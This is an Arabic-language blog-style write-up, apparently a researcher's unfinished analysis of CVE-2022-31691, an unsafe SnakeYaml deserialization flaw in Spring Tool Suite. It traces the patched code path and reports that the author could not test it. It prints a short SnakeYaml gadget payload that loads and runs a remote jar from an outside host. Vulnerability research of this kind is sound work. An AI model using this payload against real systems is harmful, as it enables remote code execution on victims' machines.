
تقرير عن نظري (غير حاسم حتى الآن) في CVE-2022-31691
كتابة عن نظري (غير حاسمة حتى الآن) في CVE-2022-31691.
أنا مستخدم متكرر لـ Spring Tool Suite (STS) لـ Eclipse، وأعتمد عليه غالبًا لتهيئة مشاريع Spring Boot الجديدة. هذه الثغرة (انظر https://tanzu.vmware.com/security/cve-2022-31691) هي RCE يمكن استغلالها من خلال تحميل غير آمن لمحتوى من ملف تكوين yaml.
SnakeYaml هو محلل ومُصدر yaml شائع جدًا لـ Java. ومع ذلك، كما هو الحال مع أي عملية marshalling/unmarshalling، هناك دائمًا خطر تحميل محتوى غير مرغوب فيه مباشرة إلى الذاكرة. SnakeYaml ليس استثناءً – انظر https://code.google.com/archive/p/snakeyaml/wikis/Documentation.wiki#Tutorial.
تحميل YAML
تحذير: ليس من الآمن استدعاء Yaml.load() مع أي بيانات مستلمة من مصدر غير موثوق!
طريقة Yaml.load() تحول مستند YAML إلى كائن Java.
مع أخذ ذلك في الاعتبار، أضاف القائمون على المشروع طريقة SafeConstructor:
ملاحظة: إذا كنت تريد تقييد الكائنات بالكائنات القياسية في Java مثل List أو Long، فأنت بحاجة إلى استخدام SafeConstructor.
Yaml yaml = new Yaml(new SafeConstructor());
الأساس المنطقي واضح جدًا، لكن من الواضح أن هذه النصيحة لا تُتبع جيدًا. لا تحتاج إلى البحث بعيدًا لرؤية أمثلة على ممارسات التحميل غير الآمنة. حتى Baeldung (مصدر رائع للمعلومات حول Spring) يفشل في ذكر ذلك في دليله: https://www.baeldung.com/java-snake-yaml#basic-usage.
من أجل استغلال هذا، أحتاج إلى جعل هذا المُنشئ يقوم بـ unmarshal لكائن أتحكم فيه. لحسن الحظ، قام آخرون بالفعل بالعمل الشاق هنا. https://github.com/artsploit/yaml-payload هو مشروع بسيط جدًا لتوليد حمولات استغلال SnakeYaml على غرار https://github.com/mbechler/marshalsec. الأساس المنطقي هو:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
تم إصلاح هذه الثغرة في إصدار STS 4.16.1. نظرة سريعة على الـ commits في هذا الإصدار تعطي بعض المؤشرات المفيدة حول ما تم إصلاحه - https://github.com/spring-projects/sts4/compare/4.16.0.RELEASE...4.16.1.RELEASE
الرسالة في هذا الـ commit - "استخدام SafeConstructor في منشئات YAML الخاصة بـ Snakeyaml" هي مؤشر جيد على ما تم إصلاحه.
وبالفعل، هذا هو المكان الذي تم فيه استبدال SafeConstructor.
YamlASTProvider parser = new YamlASTProvider(new Yaml(new SafeConstructor()));
إذا كنت مهتمًا باستغلال هذا، فأنا بحاجة إلى إدخال بعض المحتوى الخبيث في هذا المُنشئ لـ SnakeYaml، لذلك أحتاج إلى تتبع مكان استدعائه.
يتم تغذية إنشاء كائن SnakeYaml بكائن InputStream يتم إنشاؤه بواسطة طريقة getInputStream().
getInputStream() تستدعي getManifestFile() لتحديد ملف المانيفست الذي سيتم تحميله.
getManifestFile() تُرجع إما موقع ملف المانيفست (إذا تم تحديده في المُنشئ)، أو null.
يتم تهيئة فئة ApplicationManifestHandler في فئة CloudFoundryBootDashModel هنا ويتم تمرير قيمة مشتقة من قيمة تم تعيينها في المُنشئ لطريقة resolveDeploymentProperties هنا.
أنا متأكد تقريبًا أنني بحاجة إلى إعداد تكوين CloudFoundry لجعله يحاول تحميل/استدعاء ملف manifest.yml الخبيث الخاص بي.
اتضح أن CloudFoundry تقنية تحتضر، بفضل (كما أفترض) Kubernetes وما شابه ذلك. لا أستطيع العثور على أي نوع من المنصات العامة لإنشاء اتصال CF، لذا لا يمكنني فعليًا اختبار الأمور من هنا.
النظر في تشغيل مثيل تطوير محلي لـ CloudFoundry، فقط لاختبار فهمي للثغرة واستغلالها.